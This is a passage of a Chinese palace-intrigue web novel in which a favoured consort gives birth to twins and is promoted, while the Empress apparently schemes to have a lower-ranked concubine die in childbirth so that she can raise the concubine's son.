李怀修摸摸宝珠的发顶,“宝珠又长高了不少。” 宝珠眼珠乌溜溜的,天?真烂漫,“母后也说宝珠长高了。” 随之,皇后近身福礼,李怀修颔首让皇后起身,淡声,“朕少理后宫事务,皇后辛苦了。” 皇后不解皇上为何忽然说她辛苦,垂眼妥帖回话,“都是臣妾分内之事,再有贤妃妹妹协理,臣妾不敢居功。” 入殿后,宝珠由嬷嬷领去?书房习字,李怀修掀衣坐去?窄榻,他今日?着了一袭玄色织金盘龙纹常服,绣金的滚边衬着男人手掌,玉扳指以瑞兽入雕,矜贵威严。 “朕今日?过来,是与皇后商议册立宓贵嫔一事。” 如皇后所想,她压下思绪,面容浮出疑色,“宓贵嫔尚有半月临盆,已至贵嫔之位,皇上是想在宓贵嫔 生产后,册封妃位?” 李怀修抿了口?茶水,不徐不疾地?掀起眼,“朕正有此意。” 他问,“皇后以为如何?” 殿内静了一瞬,皇后触到男人眼底的神色,微抿起唇,哑然无声。 这位并不是与她商议。 皇上不理后宫中事,可不知何时,有关宓贵嫔,这位便再未忽视过,永和宫主殿上到主子封赏,下到宫人用度,悉数皆由这位亲自?安排,连她这个皇后,也无法轻易插手。 宓贵嫔深受宠眷,册封妃位,不过或早或晚。 皇后仍旧端庄,“宓贵嫔侍奉皇上,又生育皇嗣有功,理当做此封赏。” 她轻顿了下,面有迟疑,“只是罗常在有孕至今尚未受封,罗常在与宓贵嫔有孕时日?相差未有几许,倘若只给宓贵嫔受封,臣妾以为,尚有不妥。” 李怀修垂眼,把玩着案上的杯盏,并未言语。 皇后便继续道?:“宫中唯有嫔位方可养育皇嗣,罗常在位分尚低,我朝也从未有过一夕升至嫔位的惯例。” 她话至如此。 李怀修放下茶盏,才道?:“皇后想说什?么??” 言辞间?已有隐喻,罗常在位分不够,只能交给宫中有够高位分的人抚养皇嗣,皇后等这个时机,已经够久了。 可她并没?看出,这位有此意让她抚养罗常在的孩子,皇后指尖动了下,生出一丝失望与难堪。年?宴上,萧圆儿一番行径,终于让这位也对萧家生出了忌惮。 但当今太后,皇上的生母也姓萧,她相信姑母不会允许外姓坐到这个后位。 皇后轻轻松开了手心攥紧的帕子,垂眼回话,“臣妾以为,宫中没?有如此惯例,没?有合适的人抚养罗常在诞下的皇嗣,也可由罗常在暂且抚养,待他日?罗常在升至嫔位,也就名正言顺。” 李怀修也是这个意思。 圣驾并未在坤宁宫停下多久,就要离开,宝珠见父皇要走,哭着跑过去?抱住李怀修的大腿,“父皇又走了吗?父皇再陪陪宝珠好不好?” 李怀修屈身,摸着女儿的发顶,耐下性子道?:“父皇前朝还有政事……” 一向?懂事的宝珠,此时却有些忍不住,哇的一声哭了出来,双颊涨红,泪水鼻涕流进嘴里,“父皇骗人,他们都说宓贵嫔给父皇生了宝珠的弟弟妹妹,父皇喜欢弟弟妹妹,就没?时间?陪宝珠,也不喜欢宝珠了!” 李怀修唇线拉平,脸色倏然沉了下去。 倾时,四周静谧无声,无人敢语。 候在旁边的全福海头皮刷的一麻,先惊惶地?去?看皇上的脸色,下一瞬反应过来,与伺候的宫人一起扑通跪到了地?上。 宝珠公主年?岁尚小,再聪慧又能辨清什?么?大人之间?的事,这些话,倘若没?人私下说给公主,从中挑唆,公主是断然不会知晓。 皇后面容霎时不稳,她想也不想先跪下身请罪,她不至于如此蠢笨,教给宝珠这些,惹这位不喜,她近日?确实倏忽了宝珠身边的人,先有萧圆儿设计入宫,后又有宝珠受人教唆,皇后一时难以稳下心思。 待说出那句无心之言后,宝珠也察觉出了不妥,她一同跪下身子,扯了扯父皇的衣袖,小心翼翼,“父皇,宝珠不是有意说这些给父皇听的,宓贵嫔救过宝珠,宝珠没?有不喜欢宓贵嫔,只是他们都说,宓贵嫔生下孩子后,父皇就更难过来陪着宝珠写字了。” 李怀修拍了拍女儿的肩膀,“宝珠懂事,父皇很?是高兴。只是这后宫不只有宝珠,宓贵嫔腹中的孩子是父皇的子女,大魏的江山社稷,黎民百姓,都要由父皇操持,父皇不能把心力都放在宝珠与后宫那些子嗣身上。” 他言语温和,“父皇确实?很?喜欢宓贵嫔,父皇也喜欢宝珠,故而,父皇希望,宝珠也能喜欢宓贵嫔生下的弟弟妹妹。” “宝珠可明白父皇的意思?” 宝珠点头,“宝珠是大公主,会照顾好弟弟妹妹。” 李怀修看着女儿认真的神情,不由生出几分惭愧之感,他忽然想到自?己幼时,父皇甚爱梅妃之子,他尚且对父亲有些期望,几次想尽力做到最好,只为得?父亲夸赞一句,可惜他无论如何做,都不比九弟有一个得?宠的生母。 或许,他本不该让后宫中多一个如他曾经这样?的皇子亦或是公主。 这后宫,也不必有那么?多皇嗣。 李怀修心软下来,“明日?后午父皇无事,过来陪陪宝珠。” 宝珠眸子生出一抹亮色。 李怀修起了身,让全福海带宝珠回内殿习字,待女儿进殿,他眼底沉沉地?扫过伺候的宫人,开口?道?:“此事交由皇后,查出那人,押去?慎刑司。” “杖毙。” 圣驾离开坤宁宫,宝珠偷偷从小窗张望了一眼,见母后转身,她才跑出去?,小心地?揪住母后的衣袖,“母后,宝珠知错了。” 皇后牵着宝珠没?有答话,而是道?:“宝珠长大了,身边也该换一些人。” 她进了殿,由着宫人带宝珠去?玩,皇后一手揉了揉额角,冷冷开口?,“敢在坤宁宫里乱嚼舌根子,本宫也容不下这样?的奴才。” 文竹上前领命,“奴婢这就去?查。” 这事是小事,眼下尚有一件要紧事要做。 皇后眸色低下来,“郭太医可确定,罗常在肚子里的,是一个皇子?” 她垂下手,漫不经心地?抚着食指的护甲。 文竹明白娘娘的意思,她抿紧唇,不禁同情罗常在的遭遇。 她低声,“郭太医那边说,有八成的把握确定罗常在会生下皇子。” 皇后轻轻一笑,“本宫的母家待罗家一向?不薄,料想罗常在也会心甘情愿。” “将那封信速速送到永州,罗常在将要生产,等不了那么?多时日?了。” 哪有母亲会心甘情愿送出自?己的孩子。文竹眸色闪过不忍,娘娘这些年?压抑得?太苦,再也不是她当初伺候的那个萧家姑娘。可她这条命都是娘娘的,即便娘娘变得?再陌生,她也要陪在娘娘身边。 …… 明裳临近生产,以免生出意外,她已有大半月没?出过永和宫,那位前朝又忙得?紧,前一日?答应陪她,翌日?就说前朝有事,改日?再过来。三四回后,明裳已经不再相信那位,幸而有张嫔时不时过来陪她说话,才不至于那般乏闷。 这日?张嫔正坐在殿里喝茶,明裳问起这段日?子都是谁在侍寝,张嫔莫名地?瞧了她一眼,答说近日?皇上都不曾召人侍奉。 明裳讶异,听张嫔又道?:“皇上进后宫十回有九回都是来你这儿。” 闻言,张嫔不觉有什?么?,明裳想到夜中时,倏然红了脸,或许她知晓那位为何没?召人侍寝。她后三个月,身子太重,就不敢再与皇上胡来,那位倒是不曾说过什?么?,只是有一日?她得?知舒美人居然请去?了圣驾,她不想舒美人趁此得?了机会,佯装不适,把人请来,然后,她迫不得?已,用了别处侍奉。 后来,那位但凡不忙,隔几日?就宿在她这儿。 明裳苦不堪言。 将用晚膳,温儿该是醒了,张嫔与她作?别离开。 过会儿御前的宫人进殿传话,这夜前朝政务多,有几位大人星夜入宫求见,皇上让娘娘不必等着,早些歇息。 明裳已习以为常,用过晚膳,又去?廊下走了走,消消食,她这身子越来越重,走得?久了,就有些不适,腰也发酸。因而走一会儿就要坐下歇歇身子。 翌日?后午,李怀修处理好政事,想起该去?看看那女子,吩咐备了圣驾,去?永和宫。 彼时明裳小憩刚醒,扶着嬷嬷正在廊下走动,那嬷嬷对着她的肚子摸了又摸,脸上喜色掩盖不住,“依着奴婢数年?经验,主子腹中怀的定是双胎,且胎位正,养得?好,生产时也必然不会受多大苦楚。” 要到生产,明裳面上若无其事,心底仍有对女子生产有些畏惧,因这嬷嬷日?日?在她耳边念叨自?己这胎养得?甚好,不必担心,必能平安生产。明裳渐渐也没?那么?多忧虑。 这时,圣驾进了永和宫。 明裳扶着嬷嬷的手前去?迎驾,李怀修扶起人,一手揽着她的腰身,另一手扶她,看了眼她的肚子,问今日?身子如何,可有何感受。 感受没?有感觉出什?么?。 明裳摇摇头,柔笑,“还没?到生产的日?子呢,嫔妾能感觉出什?么?。” 在旁伺候的嬷嬷一脸喜气洋洋,“贵嫔娘娘有福气,奴婢伺候过的妇人们月份大了身子总会有些不适,贵嫔娘娘却满面红光,可见腹中皇嗣也必然是个小福星!” 那嬷嬷实?在会说话,伺候明裳以来,不知说了多少福气。世人总爱听些好话,李怀修含笑点点头,吩咐全福海打赏,那嬷嬷又是一喜,跪下谢恩。 两人入了内殿,李怀修问她可用膳了,明裳才醒来不久,还未用过。 暖阁传了晚膳,明裳近来并不挑食,什?么?都吃得?下,她摸摸自?己的脸,感觉胖了一圈。李怀修勾唇笑她,又捏她脸颊生出的圆润,似乎觉得?手感甚好,捏了又捏,揶揄她说胖点好,明裳撅嘴哼了声,扭过脸蛋,才不要他再捏了。 两人用过晚膳,御前送来几本奏疏,李怀修前朝尚有未处理的事,去?碧纱橱批阅,明裳摆弄着张嫔白日?送来的小衣裳,衣裳每比她巴掌大上多少,居然会有这么?小的人。 明裳眸子柔和地?弯下来,又摸摸肚子,这里面居然还是两个。 也不知会不会像她多些。 夜中,殿内燃了宫灯。 这时,外面有宫人来禀,舒美人身边的宫人到永和宫传话,请皇上去?谨兰苑。 月香进殿悄悄禀给主子,明裳拧了拧眉,冷笑一声,“这舒美人偏与我过不去?!” 她也未梳发,披了衣裳就去?碧纱橱,那传话的宫人还未走,明裳挑起美眸,瞪了那宫人一眼,“回去?禀告舒美人,下回再在本宫侍奉皇上时过来请圣驾,就在谨兰苑待上几个月再出来吧。” 那宫人大惊失色,蓦地?抬了脑袋,却见皇上并未开口?,也没?有不满宓贵嫔如此蛮横的行经,想到方才她进殿通禀,皇上有些冷的脸色,忙磕了个头,退下身。 明裳还恼着,美眸又去?瞪那位,“嫔妾辛辛苦苦给皇上生孩子,皇上反倒在这坐享齐人之福!” “今夜嫔妾不出来拦着,皇上是不是又要去?谨兰苑了!” 李怀修听着狠皱了下眉宇,把人拉到怀中,“什?么?叫又,朕何时说过去?谨兰苑,你有孕,朕从未召幸过旁人,又给朕戴这莫须有的帽子!” 明裳登时坐直了身子,理直气壮道?:“上个月,皇上去?了谨兰苑。要不是嫔妾请皇上过来,皇上都去?她那儿了,接着不是让她侍寝,难道?还能盖着被子只是说说话嘛!” 这女子这段时日?是愈发活泼,与他闹得?开。 李怀修挑眉回忆上回去?谨兰苑的缘由,冷冷地?扯了扯唇线,轻“啧”一声,“那是因你要临盆,朕发觉她与你宫中伺候的人有所联系,故而去?警告她不要动什?么?旁的心思。” 烛火晃出一道?光影,映在明裳雪白的脸蛋上,她想了想,好似前几日?绘如跟她说御前带走了一个宫人,她当时没?放在心上,原来是这样?。 明裳脸上闪过一抹心虚。 她眼珠转开,软软糯糯道?:“总之皇上就是不能在这时候让旁人爬到嫔妾头上。” 这女子还讲不讲道?理了,何时惯成了这样?。 李怀修冷嗤一声,掐她小脸,“这话也是你能说的,你也就倚仗揣着朕的种儿,不然朕非得?教训你一回。” 明裳纤纤玉臂环住男人的后颈,眸子如水洗清亮妩媚,那嗓音也跟抹了蜜似的,“嫔妾生得?这样?好看,皇上才不舍得?教训嫔妾。” 两位主子同处时,殿内的宫人素来不必进殿伺候。非是主子伺候皇上,而是皇上甚宠贵嫔娘娘,几乎是百依百顺,有一回全福海甚至偷偷瞧见,贵嫔娘娘跟皇上撒娇要吃橘子,皇上居然屈尊亲自?去?剥,他险些以为自?己眼睛瞎了,皇上习惯旁人恭迎伺候,哪儿会真的屈尊降贵,伺候旁人。 …… 与永和宫不同境况,缈云坞受到的待遇简直天?差地?别,吃食用度因罗常在有了身孕,伺候的宫人们不敢苛责,只是罗常在十分眼酸皇上待宓贵嫔的优容。 她有孕后,皇上也来看过她,许是她没?宓贵嫔那样?合皇上喜欢,与那位同处,她总不知要说些什?么?,于是每到皇上来看她时,总是没?待上片刻,便出了缈云坞。 罗常在让人去?看宓贵嫔是如何服侍皇上,待那些人回禀她时,罗常在惊得?险些碰洒手边的药碗,宓贵嫔居然如此胆大。 无论如何,罗常在都想试一试,于是那位再到缈云坞,罗常在就故作?宓贵嫔的娇嗔,去?与皇上撒娇。 可那位却拧起眉,拂开她的手,好似对此颇为不喜。 罗常在气得?想哭。 幸而皇上虽不曾如宠宓贵嫔那样?宠她,也会到缈云坞,吩咐人送些赏赐,不至于下面的宫人看轻自?己。 …… 转眼小半个月过去?,算着时日?,明裳这几日?就要生产,永和宫如临大敌,结果又过五日?,明裳肚子还没?有半点动静。明裳有些急了,嬷嬷也有些心急,面上不显,劝着娘娘道?,也有妇人迟迟生不出的情况,耽搁半月也是有的,可见这孩子是舍不得?贵嫔娘娘。 明裳起初是有些害怕,不想那么?快生产,结果到了日?子还不见动静,她顾不上那么?多,只想现在就将这两个孩子生出来。 入夜,圣驾到永和宫,明裳伏在男人怀里,眼眶倏然就红了,她便没?了分寸,见什?么?都恼,声音呜呜咽咽地?埋怨,“都怪皇上,嫔妾现在日?日?都好生难受……” 李怀修也知这女子近日?因迟迟没?有发动,心情不畅,他来这一回,这女子就要怨他一回,此时李怀修有些哭笑不得?。 他也仍是忧心,拍着女子的肩,遂着她的话安抚,“怪朕,怪朕,朕让朕的宓贵嫔受苦了……” 嬷嬷也教过明裳一些催产的法子,吃酸辣,时常起身走走……全无用处。还有一个法子,明裳尚未尝试,她撩起眼,美目潋滟着盈盈水光,一眨不眨地?望着男人。 李怀修见她不哭了,反而直勾勾盯着他看,挑了挑眉头,“盯着朕做甚?” “嫔妾……”明裳张了张唇,羞于启齿,她扭过脸蛋,“让刘嬷嬷进来与皇上说吧。” 李怀修讶然,传刘嬷嬷进来,才得?知这女子的意思,垂眼看去?时,那人脸蛋已经埋在她怀里如何都不愿意抬起来。 宫人伺候主子梳洗,帷幔垂下来,明裳倚靠在男人怀中,侧开双腿,李怀修从未想过与这女子有一日?行房,是为让她早日?生产。事毕,李怀修搂着人,问她如何,明裳缓缓呼吸,眼眶又红了,伏在男人怀里哭,“嫔妾还是没?有要生的感觉。” 这女子扑到他怀里,哭得?梨花带雨,好不可怜。 李怀修轻笑一声,拍着她的肩耐着性子哄她,让她不必心急。 他原是哄这女子,结果听她在自?己怀里瘪着嘴,满是幽怨地?嘀咕,“皇上肚子里又没?揣着两个孩子,自?然是不急。” 数月以来,李怀修头一回对她黑脸,他钳住这女子的脸蛋晃了两下,危险地?眯了眯眼,要笑不笑,“说朕什?么??” 明裳缩缩身子,脸不红心不跳地?摇头,“嫔妾什?么?都没?说。” 帷幔刚掀起,又落下,李怀修指骨敲敲明裳的膝盖,冷脸命令,“打开。” 明裳才不愿,她哼了声,別过身子,“嫔妾肚子里可有皇上的孩子,皇上别想像以前一样?,放手串惩罚嫔妾。” 她也知自?己说错了话,小心翼翼地?去?抱住男人的腰身,故作?可怜,“嫔妾难受,皇上也不心疼嫔妾。” 这女子撒娇卖乖已经手到擒来,李怀修拿她无法,简直头疼至极,以前这法子尚且让她乖点,有孕后他倒是没?法子了。 他抱着人,掀开帷幔,唤宫人备水伺候。明裳揪着男人的衣袖,“皇上还是放嫔妾下来吧,万一摔了嫔妾可如何是好。” 李怀修忍了忍,仍没?忍住斥她,“闭嘴!” 又道?,“朕不会摔了你。” 明裳知晓这位手臂很?是有力,她原本担忧确实?多余,别说摔着她,就是颠簸一下都不曾有。 但未走到净室,明裳忽然身下一疼,她心有所感,抓紧了男人的前襟,眉心颦颦,又喜又忧,“皇上,嫔妾好像是,要生了……” 第085章 第 85 章 李怀修呼吸倏然发?紧, 他抱着怀中女子,旋即转身?,疾步去了偏殿产室, 下令吩咐, “来人,为宓贵嫔备产!” 永和宫早有准备, 听闻主子发?动,有条不紊地进偏殿端水伺候,接生嬷嬷净过手, 又让宫人再多送些热水。太医院当值的太医来了大半,为防止贵嫔娘娘生产不测,悉数候在殿外。 李怀修抱着怀中人,放到床榻上,盯着怀里的女子, 没有立即离开。明裳呼吸起伏不停, 已经疼得冒出冷汗, 床边的手忽然被?一只大掌握住,她茫然地偏去眸子,开口, 却疼得忍不住哽咽一声, 她极力地弯弯唇角,反过来安抚,“皇上放心,嫔妾不会有事的。” 她柔声,“皇上去外殿等着嫔妾, 生下皇上的孩子。” 永和宫有接生的嬷嬷,也有陈太医当值, 她有孕这段日子,又没出过什么?岔子,正是日子生产,也就痛些,忍忍就过去了。 李怀修握着她的手掌紧了又紧,她在笑,他见这女子疼痛的模样,却如何都笑不出,最终只沉沉地落下一句,“朕在外面等着。” 明裳那双水眸中映着男人的影子,如以往乖巧地点头。 接生刘嬷嬷候在旁边,见皇上迟迟不出去,也不敢催促,男子进产房是大忌啊,更?何况这位还?是当今皇上。刘嬷嬷急得满头冷汗,可算是见皇上起身?,去了外殿,忙过去看贵嫔娘娘身?下开了多少。 此时,六宫已知悉宓贵嫔生产发?作,皆闻讯而来。宓贵嫔生产是大事,她们这些人去了虽也不得皇上多加注意,却也能让那位记住自?己?几分。宓贵嫔生产后还?要养着身?子,这段时日,皇上要召六宫哪个?嫔妃侍寝,还?未可知。 永和宫偏殿住着的嫔妃们步入殿中,见到皇上先福了身?子,殿内气氛凝重,她们不敢多说话,只仿似没这个?人在旁边站着,有人低声为宓贵嫔祈求庇佑。 李怀修捏着扳指,但凡殿内传出动静,都会看去一眼,很?快,就有女子细细密密的痛苦口申口今传出,夹杂着时而难忍的抽噎哭啼,他呼吸生紧,那女子惯是怕疼,这样痛苦,不知是有多疼痛。 他背着身?,闭了闭眼,面容冷凝。 张嫔踏进内殿,宫人垂头端送热水,有条不紊,内殿,几乎鸦雀无?声,针落可闻。 她想起自?己?生产的艰辛,也不由随之紧张,唤来宓贵嫔贴身?伺候的宫女,轻声问宓贵嫔情?况如何,绘如亦是担忧主子,直到现在才送进偏殿不久,尚不知如何,只能听见主子阵阵的喊声。 稍许,皇后与贤妃前后赶到了永和宫偏殿,皇后未梳妆容,眉心隐隐含着忧色,她上前道?:“宓贵嫔有孕以来未从未有过不妥,臣妾料想生产也必然顺利,皇上不必担忧。” 李怀修神?情?紧绷,只转着扳指,没有答话。 …… 内殿中,明裳鬓发?尽被?汗水染湿,贴着她的额角,辛柳守在她旁边,强忍着没流下泪水,细心为主子擦汗,哽咽安抚,“快了,主子,主子再撑一撑,就快生了……” 明裳牙关咬紧,下身?撕裂的疼让她根本无?暇去想其他,原来生产是这般疼痛。她听着嬷嬷的指令,揪着罩身?的衾被?,随之呼吸,汗水迷了她的眼睛,整个?人仿佛从水中捞出。 她边哭着,边要去生肚子里的孩子,几乎要撑出不住了。 刘嬷嬷在旁边也是急得满头冷汗,她让主子別急着使劲儿,先蓄力,力气足够了,再用力将孩子生出来。 她深知这位贵嫔娘娘有多受宠,倘若今儿没平安接生下贵嫔娘娘腹中的皇嗣,那她这条命便是别想出宫。这位主子一看便是娇生惯养,身?下又小而狭窄,如此不好?生产。 刘嬷嬷见主子要没了力气,忙指挥两个?小宫女去端碗参汤。 殿外,见有人里头出来,张嫔立刻上前去问,“贵嫔娘娘如何?” 其中一个?小宫女去端参汤,另一人留下答话,“贵嫔娘娘力竭,尚未生出。” 李怀修脸色倏然一沉,“无?论如何,朕要你们务必保住宓贵嫔。” 纵使,不要这个?皇嗣,也必须保住那女子。 小宫女吓得忙跪身?应声,端着参汤回进内殿。 方才皇上一番话,更?让众人看清了,皇上的态度,宓贵嫔,甚至重于皇嗣。 贤妃微微抿唇,敛去了眼底神?色。她早知宓贵嫔的地位不仅仅于贵嫔,不想不止是位分不同,那位心中,宓贵嫔或许已经不同于后宫嫔妃。 她安稳于自?己?的身?份,做这位手中制衡皇后的棋子,可她也不得不为自?己?以后着想。 如今宫中,罗常在有孕尚未生产,张嫔养着一位皇子,不知宓贵嫔会不会诞下皇子,后宫中,皇后身?边并没有夺嫡的筹码,然皇后的姑母是当今太后,这番局面,是那位愿意看到。有太后一日,就有皇后一日,宓贵嫔想要走剩下的路,可是不易。 那么?,她又该将赌注押于何处,还?是说,现在为时尚早。 外殿人心各异,内殿中,明裳饮下参汤,缓了一会儿,才生出些力气,她跟着刘嬷嬷的话,一呼一吸,她咬住牙根,猛一用力,倏然间,身?下一轻,耳边先听到一声啼哭,接着听刘嬷嬷惊喜泣声,“生了!生了!” 明裳闭了闭眼,松口气,将要如释重负,那刘嬷嬷又忙惊呼,“娘娘腹中还?有一个?,生过一个接下来能容易些,娘娘再用些力气,一鼓作气!” 她实在是疼得厉害,又饮下一勺参汤,口中含着参片,须臾,攥紧衾被?,虚挺直身?子,柳眉颦颦,身?下又一用力,耳边就听到了第二道哭声。 接生的嬷嬷们喜不自?胜,忙抱着各自?怀中的皇子公主出殿报喜,明裳躺在床榻上,双腿颤颤,眸子虚弱地张合,辛柳再忍不住,红着眼眶,去擦主子脸上的冷汗,附到床边轻声,“主子先生了皇子,又生了公主,皆是平安,嬷嬷已经抱去殿外了。” 闻言,明裳便安了心。 接生嬷嬷将皇子公主抱去外殿,一脸喜气地跪下身?,“恭喜皇上,贵嫔娘娘平安诞下皇子公主。” 李怀修悬着的心,终于放下,他松开捏紧的扳指,才惊觉左臂不知何时已经垂得发?麻,他动了下手臂,面容松懈,朗声而笑,“好?!好?!好?!尔等皆重重有赏!” 他俯身?拨开襁褓遮挡的一角,孩子尚小,分不出哪位是皇子,哪位是公主,两个?孩子刚生出来,皱皱巴巴,眉眼很?淡,看不出像谁。 李怀修只瞧了一眼,视线又转向那女子生产的内殿,“宓贵嫔如何?” 刘嬷嬷立即回话,“贵嫔娘娘生产失力,当下正在内殿歇息。刚生产的女子见不得风,待奴婢们伺候贵嫔娘娘擦过身?子,换了衣裳,贵嫔娘娘养过精神?,就能如常。” 李怀修正欲进去看那女子,殿外这时忽传急报,他眉心拧了拧,命太医留下,吩咐伺候的宫人待宓贵嫔醒来立即去御前通禀。 圣驾离开,殿内的嫔妃也各怀心思地回了各宫。宓贵嫔平安诞下龙凤胎,可真是好?福气,皇后望着两个?新生的婴儿,眉眼不动声色地划过一抹冷淡。 …… 翌日晨光初升,明裳恍惚是做了一个?梦,梦中有人在抚她眉心,问她怎么?还?不醒。明裳想睁眼看那人是谁,因?身?子太累,眼皮重得掀不开,又沉沉地睡了过去。 醒时,她动了下身?子,下身?就有一阵生疼,她蹙眉睁眼,右手习惯去摸自?己?的小腹,那处已经平坦。她忽然想起,好?似是生产过了,疼得她几近昏死过去。 她喉咙干涩地唤了声月香,外面传进动静,帷幔掀开,月香望着主子憔悴的脸色,眼眶又不争气地生红,她忙抹了把眼泪,“主子醒了,奴才这就让太医进来看诊。” 明裳没有力气,只能轻点了点头。 紧接着陈太医进到内殿,看诊过脉象后,道?并无?大事,只是生产后身?子虚弱,静心休养便好?。 月香送走陈太医,又道?膳房热着羹汤,转身?让宫人端进来。 刚醒不久,明裳还?不觉得饿,但想到昨日那般累,也要补补身?子。 月香捧着羹汤,一勺一勺喂给主子,边问:“皇子公主都在偏殿,由乳母喂养,还?在睡着,主子可要看看?” 昨日生产后,明裳本是想看一眼自?己?生出的两个?孩子,但她太累,自?己?先睡了,也不知那么?大点的娃娃长得什么?模样。 她弯唇点头,又问皇上可在乾坤宫。 月香这才想起来要说,“主子生产后,皇上前朝有事,就回去了,深夜皇上又来了永和宫,守了主子一夜。” 她不禁为主子高兴,后宫嫔妃生产,皇上从未这样守过旁人,她一早去内务府听说,内务府已准备了妃位仪制,册封娘娘的圣旨怕是今日就要到永和宫。 守了她一夜? 明裳无?端想起自?己?那个?梦,梦中有人温柔地抚她眉心,问她,怎么?还?没醒。 难不成,那人正是皇上? 她正想着,男人着一袭未除的冠冕朝服,从殿外入内,明裳抬眸,见那未是刚下早朝的服制,神?色惊讶,李怀修已掀起衣摆坐到床榻边,问她身?子如何。月香垂头,无?声退出内殿。 明裳仍有些疼,她没瞒着,受这么?大罪,当然要男人心疼她,她委屈巴巴地瘪起嘴。 这副模样,当真让李怀修心口一缩,他把人揽到怀里,抚着女子的后颈,“让朕的宓妃受苦了。” 宓妃? 明裳惊讶地仰起脸蛋,眼眸如覆着一层盈盈的水雾,李怀修摸摸她的脸,眼睑低垂,哄她,“得知你有孕时,朕就拟好?了册封圣旨。” 明裳弯了弯唇。 离得近了,明裳才看清男人眼底的清灰,她想到那个?梦,指尖儿去摸男人的眼尾,“皇上昨夜陪着嫔妾,是不是一夜未睡?” 那指尖儿柔柔地抚过李怀修眼角,他微顿,心底不由一软。 昨夜这女子一直不得清醒,他担心她的身?子,也没有多少睡意,便命人将公文拿进寝殿,一面看着她,一面处理政事。 一夜未合眼,下朝时,得知这女子醒了,也未来得及换常服,就来了永和宫。 “皇上要注意自?己?的身?子。”那女子伏在他怀中,恼声嗔怨。 李怀修搂着她的身?子,许是在这女子这儿太过安逸,不由生出几分倦怠。但他知此时还?不能歇息,下了朝就到她这儿,这时南书房应有朝臣等他议政。 他叮嘱两句,没能留下多久,匆匆回了乾坤宫。 乳母抱着皇子公主进殿,放到床榻一侧,明裳碰了碰两个?孩子的小脸,软嫩嫩的,合着眼睛,明裳瞧着模样,觉得女儿的鼻子像她,儿子的眼睛像皇上,又白又软,粉雕玉琢,明裳瞧着,要化在心里。 后午,张嫔过来看她,掩唇笑说今儿问安,坤宁宫去的嫔妃言语皆是与她有关,说要来永和宫看望,因?皇后娘娘又说,皇上一早下了令,只准张嫔到永和宫走动,那些人听到,脸都白了。 宓贵嫔诞下一双龙凤胎,风光正盛,愈发?得势,水涨船高,后宫里总不缺嫉妒生恨之人。 张嫔拎得清,倘若她同那些人一样的心思,才真的是要不久矣。 待张嫔离开不久,御前册封的圣旨就送到了永和宫。明裳身?子不便,不能起身?,全福海宣读完圣旨,交由掌事宫女手中,又吩咐人送进御前的赏赐,外殿摆得满满当当。 如今主子坐上妃位,成了娘娘,永和宫伺候的宫人走到外头便是内务府总管都要给上三分脸面,人人喜不自?胜,这永和宫因?有宓妃娘娘,福气满盈。 未等永和宫喜讯歇下,缈云坞忽传至音讯,罗常在下台阶时不慎摔了身?子,腹下见红,已被?宫人送进偏殿生产。 幸而宫中早备了接生嬷嬷,太医院的一甘当值太医也候在殿外,为保罗常在平安生产。 缈云坞 罗常在腹下疼得厉害,耳边是一阵杂乱的说话声,她忍不住生出恐慌,方才下台阶时,腹下生疼,就跌了下去,她万分暗悔,为何偏偏这时走那台阶。 此时殿外,皇后先赶到了缈云坞,贤妃随即而至,皇后沉着脸色,让那接生的嬷嬷务必保住罗常在腹中皇嗣。 贤妃多嘴一问,“罗常在好?好?的,怎么?偏生这时候跌了一跤。 ” 小满候在门外,听着主子生生痛苦的口申口今,脸色生白,转身?扑通跪到皇后面前,泪流满面,“求娘娘允奴婢进去陪着主子!” 她本该在这时陪在主子左右,可她今早去太医院取药,回来时,主子就被?送进了偏殿,那嬷嬷说里头再多人就是添乱,把她赶了出来。可她这时候怎能不陪在主子身?侧! 皇后拧眉叹息,“有嬷嬷为罗常在接生,不会有事。你进去伺候,难免让嬷嬷分心。” 小满泪水越流越多,颓然地瘫坐在地上。 李怀修从殿外进来,问情?况如何,皇后尚未答话,那接生嬷嬷面色大惊,慌慌张张地跑出殿,“不好?了,常在主子腹中胎儿太大,主子身?下出血,怕是性?命有忧!” …… 偏殿内,罗常在躺在床榻上,浑身?汗水涔涔,呼吸都有些乱,照着嬷嬷的话,身?下用力,却无?论如何,都使不上力气,她口中呻吟痛苦,身?下如撕裂一般的疼。 接生的嬷嬷给她嘴里喂了参片,罗常在胡乱地咬住,汗湿的头发?拂到脸面,罗常在根本无?暇去管,她死死地咬紧牙关,额头冷汗流下来,青筋暴起,猛一用力,腹部骤然失了重量,她脱力地躺回引枕时,双目发?沉,耳边听一道?婴儿啼哭,接生嬷嬷喜气洋洋地出去通禀,“恭喜皇上!常在主子生了位小皇子!” 闻言,罗常在才彻底定了心神?,唇角勉强地弯起,她想看一眼那孩子,不知为何,感觉身?子越来越轻,身?下有什么?在缓缓流逝,带走了她所有的力气。 她感受到了什么?,眼眶里流出泪水,她还?没有看一眼自?己?拼命生下的孩子,可她好?像要活不久了。 她听到那接生嬷嬷说她腹中胎儿太大,坏了身?子,为何她只一胎就这么?大。罗常在隐约想起,她有孕期间,伺候她的高嬷嬷劝她多吃补品,说有益身?子,她吃了。 高嬷嬷…… 罗常在眼眸倏然清醒一瞬。 “高嬷嬷于女子有孕有些经验,本宫留她在你身?边照顾,也好?保你顺利生产。” 是皇后—— …… 罗常在为生皇子身?死,六宫人听闻,面容皆有变色。当今感念其诞下皇嗣功绩,破例特赐妃位,准葬入皇陵。罗家闻之,大呼皇恩浩荡,叩谢万岁。 消息传到永和宫,辛柳先请娘娘把皇子公主交给乳母送去偏殿,才禀明此事。 明裳惊得心口一滞,目光看向殿内的金碧,怅然感慨,“人之已死,其身?后名又何紧要。” 辛柳忙朝外看了眼,跪下身?,神?色紧张,“娘娘,此是皇恩,万不可轻言。” 木秀于林风必摧之,娘娘的位子越高,即便无?此意,也会越招惹那些无?端揣测。 罗常在生产而亡,在明裳意料之外,她又问可知罗常在出血的原因?。 烛火照着女子的面庞,辛柳知娘娘有所怀疑,一一说了自?己?所知之事。 “奴婢听人说,罗常在近临盆,身?子不便,今日下台阶不慎踩空,才跌了一跤。” “生产中途,那接生嬷嬷曾跑出过一回内殿,是因?罗常在腹中胎儿太大,她心生恐慌,恐接生不力,先去请罪。结果一刻钟后,罗常在生下皇子,身?子血水却止不住,血崩而亡。” 胎儿太大? 明裳记起,她有孕时,未免胎儿太大不好?生产,伺候的嬷嬷曾叮嘱,不可多食大补,日日走动方可唯宜。 她忽然想起,张嫔与她提过,罗常在宫中伺候的嬷嬷,正是皇后指的人。 皇后身?边没有皇子,要害死罗常在,舍母保子的人—— 可是皇后! 